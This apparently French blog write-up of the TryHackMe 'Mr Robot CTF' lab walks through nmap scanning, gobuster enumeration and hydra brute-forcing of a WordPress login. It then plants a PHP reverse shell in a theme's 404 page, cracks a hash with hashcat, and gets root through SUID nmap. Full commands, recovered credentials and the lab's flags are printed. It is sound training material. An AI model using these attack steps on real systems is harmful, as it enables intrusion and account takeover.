Salut chers amis. En forme j’espère!! Aujourd’hui nous allons passer à un niveau supérieur dans la résolution d’une des machines de Tryhackme. Pour ce faire, nous travaillerons avec la machine Mr Robot CTF.
Nous ferons donc du scan de ports et de l’escalade de privilège avec nmap, du bruteforce avec gobuster pour les répertoires/fichiers d’un site wordpress, hydra pour la connexion à une page d’administration web et hashcat pour cracker un hash.
Mr Robot CTF est une machine avec un niveau de difficulté moyenne. Pour parvenir à nos fins, il nous faudra capturer 3 flags à différents niveaux au cours de la résolution du challenge.
Mr Robot CTF – Reconnaissance
Après le démarrage de la machine nous attendons quelques minutes et nous avons l’adresse ip de la machine, nous commençons par un scan de port avec nmap.
Nous effectuons le scan de port grâce à la commande suivante :
nmap -sC -sV 10.10.47.231
Nous avons le résultat suivant :

D’après ce résultat, nous avons deux ports ouverts, le port pour le http et celui
du https.
Mr Robot CTF – Enumération
Nous allons ensuite utiliser gobuster pour lister les différents répertoires et fichiers au niveau du port http. Gobuster est un outil utilisé pour brute-forcer et rechercher des répertoires/fichiers dans les sites web et les sous-domaines DNS. Nous faisons le scan en spécifiant dans la commande:
- dir pour spéicifier que le mode du scan est le mode classique brute-force des répertoires
- -u pour spécifier l’url qui est http://10.10.47.231/ dans notre cas
- -w pour spécifer la wordlist utilisé qui se trouve dans le répertoire /usr/share/wordlists/dirb/ dans notre cas
Ce qui donne la commande suivante:
gobuster dir -u http://10.10.128.126/ -w /usr/share/wordlists/dirb/common.txt
Après le scan nous avons retenu ces répertoires qui ont attiré notre attention.

Nous commençons par le fichier robots.txt qui nous permet d’avoir le chemin pour le premier flag et ensuite fsocity.dic qui est un dictionnaire.

Le premier flag est : 073403c8a58a1f80d943455fb30724b9.
Nous essayons avec ensuite avec le répertoire wp-login. Nous entrons des identifiants au hasard et nous avons une erreur qui nous permet de conclure qu’avant la validation du mot passe, l’utilisateur doit être valide.

Aussi nous avons conclus que le dictionnaire fournit un peu plus sera celui qu’on va utiliser pour faire du brute-force sur la page. Pour cela nous allons utiliser hydra qui est un cracker de connexion qui prend en charge de nombreux protocoles d’attaque. Nous commençons d’abord par l’identification d’un utilisateur grâce à la commande suivante :
hydra -L fsocity.dic -p test 10.10.47.231 http-post-form "/wp-login/:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=10.10.47.231/wp-admin/&testcookie=1:F=Invalid username"
Comme option nous avons:
- -L pour spécifier l’utilisateur, dans notre cas sera un dictionnaire
- -p pour spécifier un mot de passe qui test dans notre cas
- F pour spécifier le message d’erreur
- les différents paramètres que nous pouvons voir dans l’onglet network dans le mode développeur du navigateur mozila firefox

Après l’exécution de la commande nous avons le résultats suivant :
[80][http-post-form] host: 10.10.47.231 login: Elliot password: test
Un utilisateur valide est alors Elliot, nous passont ensuite à la détermination du mot de passe, grâce à la commande ci-après :
hydra -L Elliot -P fsocity.dic 10.10.47.231 http-post-form "/wp-login:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=10.10.47.231/wp-admin/&testcookie=1:S=302"
Le résultats nous permet d’avoir le mot de passe qui est ER28-0652.
[80][http-post-form] host: 10.10.47.231 login: "Elliot" password: "ER28-0652"
Mr Robot CTF – Exploitation
Ensuite, nous nous sommes connecté à la page d’administration. Maintenant il faut qu’on trouve un moyen d’avoir accès à la machine. Après quelques recherches nous avons décidé de modifier la page d’erreur 404 du thème utilisé par le blog. Nous avons ajouter ce blog de code que nous avons trouvé sur ce site proposant un script pour faire du reverse shell qui est écrit en php.

Ensuite, j’essaie d’accéder à une répertoire inexistant et j’ouvre le port d’écoute sur ma machine avec la commande nc -lvp 4444
. Nous avons ainsi notre shell.
listening on [any] 4444 ...
10.10.47.231: inverse host lookup failed: Unknown host
connect to [10.8.9.70] from (UNKNOWN) [10.10.47.231] 57205
Linux linux 3.13.0-55-generic #94-Ubuntu SMP Thu Jun 18 00:27:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
11:57:27 up 1:21, 0 users, load average: 0.00, 0.01, 0.05
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=1(daemon) gid=1(daemon) groups=1(daemon)
/bin/sh: 0: can't access tty; job control turned off
[email protected]:/$ cd /home/robot
Nous avons trouvé le second flag dans le répertoire home/robot, mais nous n’avons pas les droits pour le lire, aussi nous avons le hash du mot de passe de l’utilisateur robot qui a le droit de lecture sur le fichier.
[email protected]:/home/robot$ ls -al
ls -al
total 16
drwxr-xr-x 2 root root 4096 Nov 13 2015 .
drwxr-xr-x 3 root root 4096 Nov 13 2015 ..
-r-------- 1 robot robot 33 Nov 13 2015 key-2-of-3.txt
-rw-r--r-- 1 robot robot 39 Nov 13 2015 password.raw-md5
Nous allons ensuite cracker cet hash avec hashcat. Pour cracker cet hash nous allons utiliser la wordlist rockyou qu’on extrait de ce répertoire /usr/share/wordlists/rockyou.txt.gz
. Pour cracker le hash nous avons utilisés cette commande :
hashcat -m 0 --force rob.hash rockyou.txt
Après l’exécution de la commande, le mot de passe est abcdefghijklmnopqrstuvwxyz. Nous pouvons nous connecter maintenant en tant que robot grâce à la commande su -l robot
, ensuite nous obtenons le second flag.
[email protected]:/home/robot$ su -l robot
su -l robot
Password: abcdefghijklmnopqrstuvwxyz
[email protected]:~$ ls
ls
key-2-of-3.txt password.raw-md5
[email protected]:~$ cat key
cat key-2-of-3.txt
822c73956184f694993bede3eb39f959
[email protected]:~$
Mr Robot CTF – Escalade de privilège
Maintenant nous allons passer à l’escalade de privilège. Nous allons exploiter l’autorisation SUID pour faire l’escalade de privilège. Nous recherchons d’abord les binaires qui ont cette autorisation.
[email protected]:~$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/bin/ping
/bin/umount
/bin/mount
/bin/ping6
/bin/su
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/local/bin/nmap
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
/usr/lib/pt_chown
Parmi les binaires trouvés, nmap est un binaire qu’on peut utiliser. La commande pour le faire est nmap --interactive.
[email protected]:~$ nmap --interactive
nmap --interactive
Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
!sh
# cd /root
cd /root
# ls
ls
firstboot_done key-3-of-3.txt
# cat key-3-of-3.txt
cat key-3-of-3.txt
04787ddef27c3dee1ee161b21670b4e4
#
Nous avons ainsi le dernier le flag.
Conclusion
Tout au long de cet article, nous avons utilisé plusieurs outils dont gobuster pour l’énumération des différents fichiers et hydra utilisés dans notre cas pour le bruteforce d’une page d’authentification wordpress. Nous avons également appris à faire de l’escalade de privilège avec nmap.
J’espère que tout comme moi, vous avez trouvé ce challenge très enrichissant et vous dis donc à bientôt pour encore plus de tuto hacking.